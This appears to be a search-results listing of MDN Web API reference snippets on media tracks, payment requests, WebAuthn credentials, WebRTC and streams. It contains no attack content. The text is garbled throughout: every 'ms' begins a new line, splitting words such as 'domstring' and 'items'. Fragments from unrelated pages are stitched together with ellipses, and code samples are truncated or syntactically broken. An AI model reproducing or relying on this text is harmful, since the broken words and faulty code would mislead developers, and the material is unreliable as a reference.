mstring describing the requested or mandatory constraints placed upon the value of the groupid constrainable property.
... syntax var constraintsobject = { groupid: constraint }; constraintsobject.groupid = constraint; value an object based on constraindo
mstring specifying one or more acceptable, ideal, and/or exact (mandatory) group ids which are acceptable as the source of media content.
... specifications specification status comment media capture and strea
msthe definition of 'groupid' in that specification.
MediaTrackSettings.deviceId - Web APIs
the mediatracksettings dictionary's deviceid property is a do
mstring which uniquely identifies the source for the corresponding mediastreamtrack for the origin corresponding to the browsing session.
... syntax var deviceid = mediatracksettings.deviceid; value a do
mstring whose value is an origin-unique identifier for the track's source.
... specifications specification status comment media capture and strea
msthe definition of 'deviceid' in that specification.
MediaTrackSettings.facingMode - Web APIs
the mediatracksettings dictionary's facingmode property is a do
mstring indicating the direction in which the camera producing the video track represented by the mediastreamtrack is currently facing.
... syntax var facingmode = mediatracksettings.facingmode; value a do
mstring whose value is one of the strings in videofacingmodeenum.
... specifications specification status comment media capture and strea
msthe definition of 'facingmode' in that specification.
MediaTrackSettings.groupId - Web APIs
the mediatracksettings dictionary's groupid property is a browsing-session unique do
mstring which identifies the group of devices which includes the source for the mediastreamtrack.
... syntax var groupid = mediatracksettings.groupid; value a do
mstring whose value is a browsing-session unique identifier for a group of devices which includes the source of the track's contents.
... specifications specification status comment media capture and strea
msthe definition of 'groupid' in that specification.
Media Capabilities API - Web APIs
examples detect audio file support and expected performance this example defines a audio configuration then checks to see if the user agent supports decoding that media configuration, and whether it will perform well in ter
ms of smoothness and power efficiency.
...the media capabilities api enables determining which codecs are supported and how performant a media file will be both in ter
ms of smoothness and power efficiency.
...the information can be used to serve optimal media strea
ms to the user and determine if playback should be smooth and power efficient .
Microsoft API extensions - Web APIs
these extensions are prefixed with
ms or
ms.
... touch apis element.
mszoomto()
mscontentzoom
msmanipulationevent
msmanipulationstatechanged
msmanipulationviewsenabled
mspointerhover media apis htmlvideoelement.
msframestep() htmlvideoelement.
mshorizontalmirror htmlvideoelement.
msinsertvideoeffect() htmlvideoelement.
msislayoutoptimalforplayback htmlvideoelement.
msisstereo3d htmlvideoelement.
mszoom htmlaudioelement.
msaudiocategory htmlaudioelement.
msaudiodevicetype htmlmediaelement.
mscleareffects() htmlmediaelement.
msinsertaudioeffect() mediaerror.
msextendedcode
msgraphicstrust
msgraphicstruststatus
msisboxed
msplaytodisabled
msplaytopreferredsourceuri
msplaytoprimary
msplaytosource
msrealtime
mssetmediaprotec...
...tionmanager
mssetvideorectangle
msstereo3dpackingmode
msstereo3drendermode on
msvideoformatchanged on
msvideoframestepcompleted on
msvideooptimallayoutchanged
msfirstpaint pinned sites apis
mssitemodeevent
mssitemodejumplistitemremoved
msthumbnailclick other apis x-
ms-aria-flowfrom x-
ms-acceleratorkey x-
ms-format-detection
mscaching
mscachingenabled
mscapslockwarningoff event.
msconverturl()
mselementresize document.
mselementsfromrect()
msisstatichtml navigator.
mslaunchuri()
mslaunchuricallback element.
msmatchesselector()
msprotocols
msputpropertyenabled
mswriteprofilermark ...
NameList - Web APIs
ite
ms can be accessed by a 0-based index.
... namelist.getname() returns a do
mstring.
... namelist.getnamespaceuri() returns a do
mstring.
Using Navigation Timing - Web APIs
the navigation timing api lets you easily obtain detailed and highly accurate timing information to help isolate performance proble
ms with your site's code or resources.
...for example, to measure the perceived loading time for a page: window.addeventlistener("load", function() { let now = new date().gettime(); let loadingtime = now - performance.timing.navigationstart; document.queryselector(".output").innertext = loadingtime + "
ms"; }, false); this code, executed when the load event occurs, subtracts from the current time the time at which the navigation whose timing was recorded began (performance.timing.navigationstart), and outputs that information to the screen by inserting it into an element.
...the new code looks like this: window.addeventlistener("load", function() { let now = new date().gettime(); let loadingtime = now - performance.timing.navigationstart; output = "load time: " + loadingtime + "
ms<br/>"; output += "navigation type: "; switch(performance.navigation.type) { case performancenavigation.type_navigate: output += "navigation"; break; case performancenavigation.type_reload: output += "reload"; break; case performancenavigation.type_back_forward: output += "history"; break; default: output += "unknown"; ...
Navigator.sendBeacon() - Web APIs
data a arraybuffer, arraybufferview, blob, do
mstring, formdata, or urlsearchpara
ms object containing the data to send.
...there is nothing the next page can do to avoid this, so the new page see
ms slow, even though it's the previous page's fault.
...this solves all of the proble
ms with submission of analytics data: the data is sent reliably it's sent asynchronously it doesn't impact the loading of the next page in addition, the code is simpler to write than any of the older techniques!
Node.localName - Web APIs
ners is the local name and ecomm is the prefix: <ecomm:business id="soda_shop" type="brick_n_mortar" xmlns:ecomm="http://example.com/ecomm"> <ecomm:partners> <ecomm:partner id="1001">tony's syrup warehouse </ecomm:partner> </ecomm:partners> </ecomm:business> note: in gecko 1.9.2 and earlier, the property returns the upper-cased version of the local name for html elements in html do
ms (as opposed to xhtml elements in xml do
ms).
... in later versions, in compliance with html5, the property returns in the case of the internal dom storage, which is lower case for both html elements in html do
ms and xhtml elements in xml do
ms.
... the tagname property continues to return in the upper case for html elements in html do
ms.
NodeList.length - Web APIs
the nodelist.length property returns the number of ite
ms in a nodelist.
... syntax numite
ms = nodelist.length numite
ms is an integer value representing the number of ite
ms in a nodelist.
... // all the paragraphs in the document var ite
ms = document.getelementsbytagname("p"); // for each item in the list, // append the entire element as a string of html var gross = ""; for (var i = 0; i < ite
ms.length; i++) { gross += ite
ms[i].innerhtml; } // gross is now all the html for the paragraphs specifications specification status comment domthe definition of 'nodelist: length' in that specification.
Notification.Notification() - Web APIs
it defaults to auto, which just adopts the browser's language setting behavior, but you can override that behaviour by setting values of ltr and rtl (although most browsers seem to ignore these settings.) lang: the notification's language, as specified using a do
mstring representing a bcp 47 language tag.
... body: a do
mstring representing the body text of the notification, which is displayed below the title.
... tag: a do
mstring representing an identifying tag for the notification.
OfflineAudioCompletionEvent.OfflineAudioCompletionEvent() - Web APIs
syntax var offlineaudiocompletionevent = new offlineaudiocompletionevent(type, init) parameters type optional a do
mstring representing the type of object to create.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetofflineaudiocompletionevent() constructorchrome full support 57notes full support 57notes notes before chrome 59, the default values were not supported.edge full support ≤79firefox full support 53ie ...
... sa
msung internet android full support 6.0notes full support 6.0notes notes before sa
msung internet 7.0, the default values were not supported.legend full support full support no support ...
PaymentRequest.prototype.id - Web APIs
const response = await request.show(); console.log(response.requestid === request.id); // and in serialized form too const json = response.tojson(); console.log(json.requestid,response.requestid, request.id); syntax var id = paymentrequest.id value a do
mstring.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetidchrome full support 61edge full support 16firefox full support 55notes disabled full support 55notes disabled notes available only in nightly builds.disabled from version 55: this feature is behind the dom...
...to change preferences in firefox, visit about:config.opera android no support nosafari ios full support 11.3sa
msung internet android full support 8.0legend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this fe...
PaymentRequest.onmerchantvalidation - Web APIs
the paymentrequest event handler onmerchantvalidation is invoked when the merchantvalidation is fired, indicating that the payment handler (e.g., apple pay) requires the merchant to validate the
mselves.
... this is usually the first event to be fired, and the user won't be able to proceed with a payment until the merchant validate the
mselves.
... syntax paymentrequest.onmerchantvalidation = eventhandlerfunction; value an event handler function which is to be called whenever the merchantvalidation event is fired at the paymentrequest, indicating that the payment handler requires the merchant to validate the
mselves as allowed to use this payment handler.
PaymentRequest.onshippingoptionchange - Web APIs
'international shipping'; shippingoption.amount.value = '10.00'; details.total.amount.value = '65.00'; // shipping to elsewhere is unsupported } else { // empty array indicates rejection of the address details.shippingoptions = []; return promise.resolve(details); console.log(details.error); } // hardcode for simplicity if (details.displayite
ms.length === 2) { details.displayite
ms[2] = shippingoption; } else { details.displayite
ms.push(shippingoption); } details.shippingoptions = [shippingoption]; return promise.resolve(details); })(details, request.shippingaddress)); }); specifications specification status comment payment request apithe definition of 'onshippingoptionchange' in ...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetonshippingoptionchangechrome full support 61edge full support 15firefox full support 55notes disabled full support 55notes disabled notes available only in nightly builds.disabled from version 55: this featu...
...to change preferences in firefox, visit about:config.opera android no support nosafari ios full support 11.3sa
msung internet android full support 6.0legend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this feature.
PaymentResponse.complete() - Web APIs
syntax completepromise = paymentrequest.complete(result); parameters result optional a do
mstring indicating the state of the payment operation upon completion.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetcomplete()chrome full support 61edge full support 15firefox full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind...
...to change preferences in firefox, visit about:config.opera android no support nosafari ios full support yessa
msung internet android full support 6.0legend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this feature.
PaymentResponse.requestId - Web APIs
syntax var id = paymentrequest.id value a do
mstring.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetrequestidchrome full support 61edge full support 16firefox full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind ...
...to change preferences in firefox, visit about:config.opera android no support nosafari ios full support yessa
msung internet android full support 8.0legend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this fe...
PaymentResponse.shippingAddress - Web APIs
}; if (shippingaddress.region === 'mo') { shippingoption.id = 'mo'; shippingoption.label = 'free shipping in missouri'; details.total.amount.value = '55.00'; } else { shippingoption.id = 'us'; shippingoption.label = 'standard shipping in us'; shippingoption.amount.value = '5.00'; details.total.amount.value = '60.00'; } details.displayite
ms.splice(2, 1, shippingoption); details.shippingoptions = [shippingoption]; } else { delete details.shippingoptions; } resolve(details); } specifications specification status comment payment request api candidate recommendation initial definition.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetshippingaddresschrome full support 61edge full support 15firefox full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind the dom.payments.re...
...to change preferences in firefox, visit about:config.opera android no support nosafari ios full support yessa
msung internet android full support 6.0legend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this feature.
PaymentResponse.shippingOption - Web APIs
5.00'; } else if (shippingoption === 'express') { selectedshippingoption = details.shippingoptions[1]; othershippingoption = details.shippingoptions[0]; details.total.amount.value = '67.00'; } else { reject('unknown shipping option \'' + shippingoption + '\''); return; } selectedshippingoption.selected = true; othershippingoption.selected = false; details.displayite
ms.splice(2, 1, selectedshippingoption); resolve(details); } specifications specification status comment payment request api candidate recommendation initial definition.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetshippingoptionchrome full support 61edge full support 15firefox full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind the dom.payments.re...
...to change preferences in firefox, visit about:config.opera android no support nosafari ios full support yessa
msung internet android full support 6.0legend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this feature.
performance.measure() - Web APIs
syntax performance.measure(name); performance.measure(name, startmark); performance.measure(name, startmark, endmark); performance.measure(name, undefined, endmark); arguments name a do
mstring representing the name of the measure.
... startmark optional a do
mstring representing the name of the measure's starting mark.
... endmark optional a do
mstring representing the name of the measure's ending mark.
performance.now() - Web APIs
in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 1
ms.
... // reduced time precision (1
ms) in firefox 60 performance.now(); // 8781416 // 8781815 // 8782206 // ...
... in firefox, you can also enable privacy.resistfingerprinting — this changes the precision to 100
ms or the value of privacy.resistfingerprinting.reducetimerprecision.microseconds, whichever is larger.
PerformanceEntry.name - Web APIs
do
mstring performancemark mark the name used when the mark was created by calling performance.mark().
... do
mstring performancemeasure measure name used when the measure was created by calling performance.measure().
... do
mstring performancepainttiming paint either 'first-paint' or 'first-contentful-paint'.
PerformanceLongTaskTiming - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetperformancelongtasktiming experimentalchrome full support 58edge full support ≤79firefox no support nonotes no support nonotes notes see bug 1348405.ie ?
... sa
msung internet android full support 7.0attribution experimentalchrome full support 58edge full support ≤79firefox no support noie ?
... sa
msung internet android full support 7.0legend full support full support no support no support compatibility unknown compatibility unknownexperimental.
PerformanceObserver.observe() - Web APIs
the performance entry types are specified as an array of do
mstring objects, each naming one entry type; the type names are documented in performance entry type names in performanceentry.entrytype.
... syntax observer.observe(options); parameters options a performanceobserverinit dictionary with the following possible members: entrytypes: an array of do
mstring objects, each specifying one performance entry type to observe.
... type: a single do
mstring specifying exactly one performance entry type to observe.
PerformanceObserverEntryList.getEntriesByName() - Web APIs
syntax entries = list.getentriesbyname(name, type); parameters name a do
mstring representing the name of the entry to retrieve.
... type optional a do
mstring representing the type of entry to retrieve such as "mark".
...the ite
ms will be in chronological order based on the entries' starttime.
PerformanceServerTiming - Web APIs
properties performanceservertiming.descriptionread only a do
mstring value of the server-specified metric description, or an empty string.
... performanceservertiming.nameread only a do
mstring value of the server-specified metric name.
... methods performanceservertiming.tojson() returns a do
mstring that is the json representation of the performanceservertiming object.
Point - Web APIs
point is an interface, which existed only briefly in the css transfor
ms level 1 specification, which represents a point in 2-dimensional space.
... specifications this class was specified in the defunct 20 march 2009 working draft of css 2d transfor
ms module level 3.
... it is not present in the current working draft of the css transfor
ms level 1 specification.
PublicKeyCredential.id - Web APIs
the id read-only property of the publickeycredential interface is a do
mstring, inherited from credential, which represents the identifier of the current publickeycredential instance.
... syntax id = publickeycredential.id value a do
mstring being the base64url encoded version of publickeycredential.rawid.
... examples var publickey = { challenge: new uint8array(26) /* this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredpara
ms: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var id = newcredentialinfo.id; // do something with the id // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment ...
PublicKeyCredentialCreationOptions.rp - Web APIs
id a do
mstring uniquely identifying a relying party.
... name a do
mstring giving a human-readable name for the relying party.
... examples var publickey = { challenge: /* from the server */, rp: { name: "example corp", id : "login.example.com", icon: "https://login.example.com/login.ico" }, user: { id: new uint8array(16), name: "jdoe@example.com", displayname: "john doe" }, pubkeycredpara
ms: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an ...
PublicKeyCredentialCreationOptions.user - Web APIs
syntax useraccount = publickeycredentialcreationoptions.user properties displayname a do
mstring which is human readable and intended for display.
... name a do
mstring giving a human-readable name for the user's identifier (e.g.
...new uint8array(26) /* this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { // to be changed for each user id: new uint8array.from(window.atob("laegmlkjnrlkgnamlafalfka="), c=>c.charcodeat(0)); name: "jdoe@example.com", displayname: "john doe", icon: "https://gravatar.com/avatar/jdoe.png" }, pubkeycredpara
ms: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment...
PublicKeyCredentialCreationOptions - Web APIs
publickeycredentialcreationoptions.pubkeycredpara
ms an array of element which specify the desired features of the credential, including its type and the algorithm used for the cryptographic signature operations.
... examples // some examples of cose algorith
ms const cose_alg_ecdsa_w_sha256 = -7; const cose_alg_ecdsa_w_sha512 = -36; var createcredentialoptions = { // format of new credentials is publickey publickey: { // relying party rp: { name: "example corp", id: "login.example.com", icon: "https://login.example.com/login.ico" }, // cryptographic challenge from the server ...
...smith", }, // requested format of new keypair pubkeycredpara
ms: [{ type: "public-key", alg: cose_alg_ecdsa_w_sha256, }], // timeout after 1 minute timeout: 60000, // do not send the authenticator's origin attestation attestation: "none", extensions: { uvm: true, exts: true }, // filter out authenticators which are bound to the device authenticatorselection:{ authenticatorattachment: "cross-platform", requireresidentkey: true, userverification:...
PushEvent.PushEvent() - Web APIs
syntax var mypushevent = new pushevent(type, eventinitdict); parameters type a do
mstring defining the type of pushevent.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetpushevent() constructor experimentalchrome full support 42edge full support 16disabled full support 16disabled disabled from version 16: this feature is behind the enable service workers preference.
... 42firefox android full support 44 full support 44 full support 48notes notes push enabled by default.opera android full support 37safari ios no support nosa
msung internet android full support 4.0legend full support full support no support no supportexperimental.
PushSubscription.getKey() - Web APIs
syntax var key = subscription.getkey(name); parameters name a do
mstring representing the encryption method used to generate a client key.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetgetkey()chrome full support 42edge full support 16firefox full support 44notes full support 44notes notes extended support releases (esr) before firefox 78 esr do not support service workers and the push api...
... nowebview android no support nochrome android full support 42firefox android full support 48opera android full support 29safari ios no support nosa
msung internet android full support 4.0legend full support full support no support no supportsee implementation notes.see implementation notes.
PushSubscription.subscriptionId - Web APIs
the endpoint read-only property of the pushsubscription interface returns a do
mstring containing the subscription id associated with the push subscription.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetsubscriptionidchrome full support 42edge full support ≤18firefox no support noie no support noopera full support 29safari no support ...
... nowebview android no support nochrome android full support 42firefox android no support noopera android full support 29safari ios no support nosa
msung internet android full support 4.0legend full support full support no support no support ...
RTCDataChannel - Web APIs
propertiesalso inherits properties from: eventtargetbinarytype the property binarytype on the rtcdatachannel interface is a do
mstring which specifies the type of javascript object which should be used to represent binary data received on the rtcdatachannel.
...wthreshold the rtcdatachannel property bufferedamountlowthreshold is used to specify the number of bytes of buffered outgoing data that is considered "low." the default value is 0.id read only the read-only rtcdatachannel property id returns an id number (between 0 and 65,534) which uniquely identifies the rtcdatachannel.label read only the read-only rtcdatachannel property label returns a do
mstring containing a name describing the data channel.
...datachannel's connection was negotiated by the web app (true) or by the webrtc layer (false).ordered read only the read-only rtcdatachannel property ordered indicates whether or not the data channel guarantees in-order delivery of messages; the default is true, which indicates that the data channel is indeed ordered.protocol read only the read-only rtcdatachannel property protocol returns a do
mstring containing the name of the subprotocol in use.
RTCIceCandidate.relatedAddress - Web APIs
the related address and port (relatedport) are not used at all by ice itself; they are provided for analysis and diagnostic purposes only, and their inclusion may be blocked by security syste
ms, so do not rely on them having non-null values.
... syntax var reladdress = rtcicecandidate.relatedaddress; value a do
mstring which contains the candidate's related address.
...relatedaddress can also be used by quality-of-service (qos) mechanis
ms.
RTCIceCandidateInit.candidate - Web APIs
value a do
mstring describing the properties of the candidate, taken directly from the sdp attribute "candidate".
...if your client-side signaling layer builds and transmits a json string including the candidate to the remote peer, the remote peer might handle receiving that json message like this: function goticecandidatemessage(
msg) { var icecandidate = new rtcicecandidate({ candidate:
msg.candidate; }); pc.addicecandidate(icecandidate).catch({ /* handle error */ }); } it's helpful to note that for backward compatibility with older versions of the webrtc specification, the rtcicecandidate() constructor accepts the value of candidate as its only input, in place of the rtcicecandidateinit dictionary.
... that usage would change the above sample to look like this: function goticecandidatemessage(
msg) { var icecandidate = new rtcicecandidate(
msg.candidate); pc.addicecandidate(icecandidate).catch({ /* handle error */ }); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidateinit.candidate' in that specification.
RTCIceTransport - Web APIs
gatheringstate read only a do
mstring indicating which gathering state the ice agent is currently in.
... role read only returns a do
mstring whose value is one of the members of the rtcicerole enumerated type: "controlling" or "controlled"; this indicates whether the ice agent is the one that makes the final decision as to the candidate pair to use or not.
... state read only a do
mstring indicating what the current state of the ice agent is.
RTCIdentityErrorEvent - Web APIs
rtcidentityerrorevent.idp read only is a do
mstring describing the domain name of the identity provider (idp) generating the error response.
... rtcidentityerrorevent.loginurl read only is a do
mstring giving the url where the user can complete the authentication.
... rtcidentityerrorevent.protocol read only is a do
mstring describing the idp protocol in use.
RTCPeerConnection.addTransceiver() - Web APIs
syntax rtptransceiver = rtcpeerconnection.addtransceiver(trackorkind, init); parameters trackorkind a mediastreamtrack to associate with the transceiver, or a do
mstring which is used as the kind of the receiver's track, and by extension of the rtcrtpreceiver itself.
... init optional an object that confor
ms to the rtcrtptransceiverinit dictionary which provides any options that you may wish to specify when creating the new transceiver.
... strea
ms optional a list of mediastream objects to add to the transceiver'srtcrtpreceiver; when the remote peer's rtcpeerconnection's track event occurs, these are the strea
ms that will be specified by that event.
RTCPeerConnection.getStreamById() - Web APIs
this property has been replaced with the rtcpeerconnection.getlocalstrea
ms and rtcpeerconnection.getremotestrea
ms properties.
... syntax var mediastream = pc.getstream(id); parameters id is a do
mstring corresponding to the stream to return.
... // from: https://bugs.chromium.org/p/chromium/issues/detail?id=698163&desc=5#c10 rtcpeerconnection.prototype.getstreambyid = function(id) { try { var localstrea
ms = this.getlocalstrea
ms(); var remotestrea
ms = this.getremotestrea
ms(); var i; for (i = 0; i < localstrea
ms.length; i++) { if (localstrea
ms[i].id == id) return localstrea
ms[i]; } for (i = 0; i < remotestrea
ms.length; i++) { if (remotestrea
ms[i].id == id) return remotestrea
ms[i]; } } catch(e) {} return null; } ...
RTCPeerConnection.setIdentityProvider() - Web APIs
parameters domainname is a do
mstring is the domain name where the idp is.
... protocol optional is a do
mstring representing the protocol used to communicate with the idp.
... username optional is a do
mstring representing the username associated with the idp.
RTCPeerConnection - Web APIs
if it has not yet been set, this is null.peeridentity read only the read-only rtcpeerconnection property peeridentity returns a javascript promise that resolves to an rtcidentityassertion which contains a do
mstring identifying the remote peer.pendinglocaldescription read only the read-only property rtcpeerconnection.pendinglocaldescription returns an rtcsessiondescription object describing a pending configuration change for the local end of the connection.
... constants rtcbundlepolicy enum the rtcbundlepolicy enum defines string constants which are used to request a specific policy for gathering ice candidates if the remote peer isn't "bundle-aware" (compatible with the sdp bundle standard for bundling multiple media strea
ms on a single transport link).
... note: in technical ter
ms, a bundle lets all media flow between two peers flow across a single 5-tuple; that is, from a single ip and port on one peer to a single ip and port on the other peer, using the same transport protocol.
RTCPeerConnectionIceErrorEvent - Web APIs
properties the rtcpeerconnectioniceerrorevent interface includes the properties found on the event interface, as well as the following properties: address read only a do
mstring providing the local ip address used to communicate with the stun or turn server being used to negotiate the connection, or null if the local ip address has not yet been exposed as part of a local ice candidate.
... errortext read only a do
mstring containing the stun reason text returned by the stun or turn server.
... url read only a do
mstring indicating the url of the stun or turn server with which the error occurred.
RTCTrackEvent - Web APIs
strea
ms read only optional an array of mediastream objects, each representing one of the media strea
ms to which the added track belongs.
... example this simple example creates an event listener for the track event which sets the srcobject of the <video> element with the id videobox to the first stream in the list passed in the event's strea
ms array.
... peerconnection.addeventlistener("track", e => { let videoelement = document.getelementbyid("videobox"); videoelement.srcobject = e.strea
ms[0]; }, false); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctrackevent' in that specification.
ReadableByteStreamController - Web APIs
the readablebytestreamcontroller interface of the strea
ms api represents a controller allowing control of a readablestream's state and internal queue.
... byte stream controllers are for byte strea
ms.
... specifications specification status comment strea
msthe definition of 'readablebytestreamcontroller' in that specification.
ReadableStream.ReadableStream() - Web APIs
the reason parameter contains a do
mstring describing why the stream was cancelled.
... autoallocatechunksize optional for byte strea
ms, the developer can set the autoallocatechunksize with a positive integer value to turn on the stream's auto-allocation feature.
...ick', function() { clearinterval(interval); fetchstream(); controller.close(); }) }, pull(controller) { // we don't really need a pull in this example }, cancel() { // this is called if the reader cancels, // so we should stop generating strings clearinterval(interval); } }); specifications specification status comment strea
msthe definition of 'readablestream()' in that specification.
ReadableStream.cancel() - Web APIs
syntax var promise = readablestream.cancel(reason); parameters reason a do
mstring providing a human-readable reason for the cancellation.
...when the search ter
ms is found, cancel() is used to cancel the stream — the job is finished so it is no longer needed.
...does the response lack cors headers?"); throw err; }); specifications specification status comment strea
msthe definition of 'cancel()' in that specification.
ReadableStream - Web APIs
the readablestream interface of the strea
ms api represents a readable stream of byte data.
...each of those strea
ms receives the same incoming data.
... controller.close(); return; } // get the data and send it to the browser via the controller controller.enqueue(value); push(); }); }; push(); } }); return new response(stream, { headers: { "content-type": "text/html" } }); }); specifications specification status comment strea
msthe definition of 'readablestream' in that specification.
ReadableStreamDefaultController - Web APIs
the readablestreamdefaultcontroller interface of the strea
ms api represents a controller allowing control of a readablestream's state and internal queue.
... default controllers are for strea
ms that are not byte strea
ms.
...ick', function() { clearinterval(interval); fetchstream(); controller.close(); }) }, pull(controller) { // we don't really need a pull in this example }, cancel() { // this is called if the reader cancels, // so we should stop generating strings clearinterval(interval); } }); specifications specification status comment strea
msthe definition of 'readablestreamdefaultcontroller' in that specification.
ReadableStreamDefaultReader.cancel() - Web APIs
syntax var promise = readablestreamdefaultreader.cancel(reason); parameters reason optional a do
mstring providing a human-readable reason for the cancellation.
... if (done) { console.log("stream complete"); reader.cancel(); para.textcontent = result; return; } // value for fetch strea
ms is a uint8array charsreceived += value.length; const chunk = value; let listitem = document.createelement('li'); listitem.textcontent = 'received ' + charsreceived + ' characters so far.
... current chunk = ' + chunk; list2.appendchild(listitem); result += chunk; // read some more, and call this function again return reader.read().then(processtext); }); } specifications specification status comment strea
msthe definition of 'cancel()' in that specification.
SVGImageElement.decoding - Web APIs
syntax var refstr = svgimageelement.decoding svgimageelement.decoding = refstr; values a do
mstring representing the decoding hint.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetdecoding experimentalchrome full support 65edge full support ≤79firefox ?
... sa
msung internet android full support 9.0legend full support full support compatibility unknown compatibility unknownexperimental.
SVGStyleElement - Web APIs
svgstyleelement.type a do
mstring corresponding to the type attribute of the given element.
... svgstyleelement.media a do
mstring corresponding to the media attribute of the given element.
... svgstyleelement.title a do
mstring corresponding to the title attribute of the given element.
Selection.extend() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetextend experimentalchrome full support yesedge full support 12firefox full support yesie no support noopera full support yessafari full support ...
... yeswebview android no support nochrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessa
msung internet android full support yesoffset parameter is optional experimentalchrome full support yesedge full support ≤79firefox full support 55ie no support noopera ...
... yeswebview android no support nochrome android full support yesfirefox android full support 55opera android full support yessafari ios full support yessa
msung internet android full support yeslegend full support full support no support no supportexperimental.
Selection - Web APIs
selection.typeread only returns a do
mstring describing the type of the current selection.
... behavior of selection api in ter
ms of editing host focus changes the selection api has a common behavior (i.e., shared between browsers) that governs how focus behavior changes for editing hosts after certain methods are called.
...n.collapsetoend() selection.extend() selection.selectallchildren() selection.addrange() selection.setbaseandextent() and when the range is modified using the following methods: range.setstart() range.setend() range.setstartbefore() range.setstartafter() range.setendbefore() range.setendafter() range.collapse() range.selectnode() range.selectnodecontents() glossary other key ter
ms used in this section.
Using server-sent events - Web APIs
when using http/2, the maximum number of simultaneous http strea
ms is negotiated between the server and the client (defaults to 100).
... error handling when proble
ms occur (such as a network timeout or issues pertaining to access control), an error event is generated.
... you can take action on this programmatically by implementing the onerror callback on the eventsource object: evtsource.onerror = function(err) { console.error("eventsource failed:", err); }; closing event strea
ms by default, if the connection between the client and server closes, the connection is restarted.
ServiceWorkerMessageEvent.ServiceWorkerMessageEvent() - Web APIs
syntax var myswme = new serviceworkermessageevent(type, init); parameters type a do
mstring that defines the type of the message event being created.
... origin: a do
mstring that defines the origin of the corresponding service worker's environment settings object.
... lasteventid: a do
mstring that defines the last event id of the event source.
ServiceWorkerRegistration.showNotification() - Web APIs
it may contain the following values: action: a do
mstring identifying a user action to be displayed on the notification.
... title: a do
mstring containing action text to be shown to the user.
...for example, [300, 100, 400] would vibrate 300
ms, pause 100
ms, then vibrate 400
ms.
Slottable - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetslottable experimentalchrome full support 53edge full support 79firefox full support 63 full support 63 no support 59 — 63disabled disabled from version 59 until version 63 (exclus...
...to change preferences in firefox, visit about:config.opera android full support 41safari ios full support 10.3sa
msung internet android full support 6.0assignedslot experimentalchrome full support 53edge full support 79firefox full support 63 full support 63 no support ...
...to change preferences in firefox, visit about:config.opera android full support 41safari ios full support 10.3sa
msung internet android full support 6.0legend full support full support no support no supportexperimental.
SpeechGrammarList.addFromURI() - Web APIs
parameters src a do
mstring representing the uri of the grammar to be added.
... examples var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | cri
mson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new s...
...peechgrammarlist(); speechrecognitionlist.addfro
